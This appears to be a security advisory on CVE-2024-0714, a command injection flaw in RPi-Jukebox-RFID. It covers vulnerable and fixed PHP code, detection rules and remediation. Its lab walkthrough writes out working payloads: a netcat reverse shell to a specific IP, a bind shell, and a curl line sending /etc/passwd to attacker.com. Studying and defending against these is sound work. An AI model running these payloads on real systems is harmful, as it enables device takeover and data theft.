CVE-2024-0714

Executive Summary

CVE-2024-0714 is a critical OS Command Injection vulnerability discovered in MiczFlor RPi-Jukebox-RFID, a popular open-source project for controlling a music jukebox via RFID tags on a Raspberry Pi. The vulnerability resides in the userScripts.php file, specifically within the HTTP Request Handler. By manipulating the folder parameter with a crafted payload (e.g., ;nc 104.236.1.147 4444 -e /bin/bash;), an unauthenticated remote attacker can execute arbitrary operating system commands on the target device. The exploit has been publicly disclosed, and no official patch has been released by the vendor. This poses a significant risk to all unpatched instances, potentially leading to full device compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the PHP application. The risk is amplified by the lack of a vendor response and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited data access possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on service availability.

Threat Level: High. Despite the medium CVSS score, the public availability of a working exploit, the lack of a patch, and the potential for full system compromise elevate the real-world risk.

Deep Dive & Mechanics

The vulnerability is a classic OS Command Injection flaw in the userScripts.php file. The application likely takes user input from the folder HTTP GET/POST parameter and passes it unsanitized to a shell execution function (e.g., exec(), system(), shell_exec(), or passthru() in PHP). The attacker can inject arbitrary commands by using shell metacharacters such as semicolons (;), backticks (`), or pipes (|).

The provided exploit payload ;nc 104.236.1.147 4444 -e /bin/bash; demonstrates a classic reverse shell. The semicolon terminates the intended command, then nc (netcat) is executed to connect back to the attacker's IP (104.236.1.147) on port 4444, providing an interactive bash shell. The trailing semicolon ensures the original command's remainder is ignored.

The root cause is the lack of input validation and sanitization. The application should have used escapeshellarg() or escapeshellcmd() to escape shell metacharacters, or better yet, avoided shell execution entirely by using PHP functions that do not invoke a shell.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix.

Vulnerable Code (userScripts.php):

<?php
$folder = $_GET['folder'];
$command = "ls -la " . $folder;
$output = shell_exec($command);
echo "<pre>$output</pre>";
?>

Patched Code (userScripts.php):

<?php
$folder = $_GET['folder'];
// Validate input: only allow alphanumeric characters, underscores, and slashes
if (preg_match('/^[a-zA-Z0-9_\/]+$/', $folder)) {
    $command = "ls -la " . escapeshellarg($folder);
    $output = shell_exec($command);
    echo "<pre>" . htmlspecialchars($output) . "</pre>";
} else {
    echo "Invalid folder parameter.";
}
?>

The patched version uses escapeshellarg() to safely quote the argument and a regex whitelist to reject any input containing shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Target: A Raspberry Pi running RPi-Jukebox-RFID v2.5.0 (or earlier) on the same network.
2. Attacker: A Kali Linux machine with netcat installed.
3. Network: Both machines on the same local network (e.g., 192.168.1.0/24).

Exploitation Steps:

1. Start a netcat listener on the attacker machine:

   nc -lvnp 4444
   

2. Craft the exploit URL. Replace [TARGET_IP] with the IP of the RPi-Jukebox-RFID device:

   http://[TARGET_IP]/userScripts.php?folder=;nc 192.168.1.100 4444 -e /bin/bash;
   

   (Note: Replace 192.168.1.100 with the attacker's IP)
3. Send the request using a browser, curl, or any HTTP client:

   curl "http://[TARGET_IP]/userScripts.php?folder=;nc%20192.168.1.100%204444%20-e%20/bin/bash;"
   

4. Receive the shell: On the attacker's netcat listener, you should receive a reverse shell as the www-data user (or the web server user).

Alternative Payloads:

• Bind Shell: ;nc -lvnp 5555 -e /bin/bash; (then connect to target on port 5555)
• Command Execution: ;id; (to test for injection)
• Data Exfiltration: ;curl http://attacker.com/$(cat /etc/passwd);

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Server Logs: Look for requests to userScripts.php with suspicious folder parameters containing shell metacharacters (;, |, `, $()).
2. Network Monitoring: Detect outbound connections to unusual ports (e.g., 4444, 5555) or to known malicious IPs (like 104.236.1.147).
3. Host-Based Detection: Monitor for unexpected processes like nc, bash, or python spawned by the web server user (www-data).
4. Immediate Mitigation: If patching is not possible, restrict access to userScripts.php via .htaccess or a web application firewall (WAF) rule that blocks requests containing shell metacharacters in the folder parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to IP 104.236.1.147 on port 4444 (or any unusual port).
  • HTTP GET/POST requests to /userScripts.php with a folder parameter containing ;, |, `, or $().
• Host IOCs:
  • Unexpected processes: nc, bash, sh, python, perl running as www-data.
  • Unusual files in /tmp/ or /dev/shm/ created by the web server user.
  • Modified system binaries or scripts.
• File IOCs:
  • Suspicious entries in web server access logs (e.g., /var/log/apache2/access.log or /var/log/nginx/access.log).

Detection Engineering

YARA Rule

rule CVE_2024_0714_OS_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-0714 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0714"
    strings:
        $s1 = "userScripts.php" nocase
        $s2 = "folder=" nocase
        $s3 = ";" nocase
        $s4 = "nc " nocase
        $s5 = "-e /bin/bash" nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5)
}

Sigma Rule

title: CVE-2024-0714 OS Command Injection in RPi-Jukebox-RFID
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-0714
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'userScripts.php?folder=;'
            - 'userScripts.php?folder=|'
            - 'userScripts.php?folder=`'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in folder names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0714 OS Command Injection Attempt"; flow:to_server,established; content:"userScripts.php"; http_uri; content:"folder="; http_uri; pcre:"/folder\s*=\s*[^&]*[;|`]/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, disable or remove the userScripts.php file until a patch is available.
2. Input Validation: Implement strict input validation for the folder parameter. Use a whitelist of allowed characters (e.g., alphanumeric, underscores, slashes) and reject any input containing shell metacharacters.
3. Use Safe Functions: Replace shell_exec(), exec(), system(), or passthru() with PHP functions that do not invoke a shell, such as proc_open() with proper argument escaping, or use escapeshellarg() and escapeshellcmd().
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests to userScripts.php with suspicious folder parameters.
5. Network Segmentation: Isolate the RPi-Jukebox-RFID device on a separate VLAN with limited outbound internet access.
6. Monitor & Alert: Implement the detection rules provided above to alert on exploitation attempts.
7. Vendor Contact: Continue to pressure the vendor for an official patch. Consider forking the repository and applying the fix yourself.

Valters IT